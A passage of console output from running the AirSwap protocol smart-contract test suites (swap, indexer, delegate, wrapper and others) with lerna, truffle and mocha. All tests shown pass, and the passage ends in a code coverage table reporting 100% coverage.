test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % 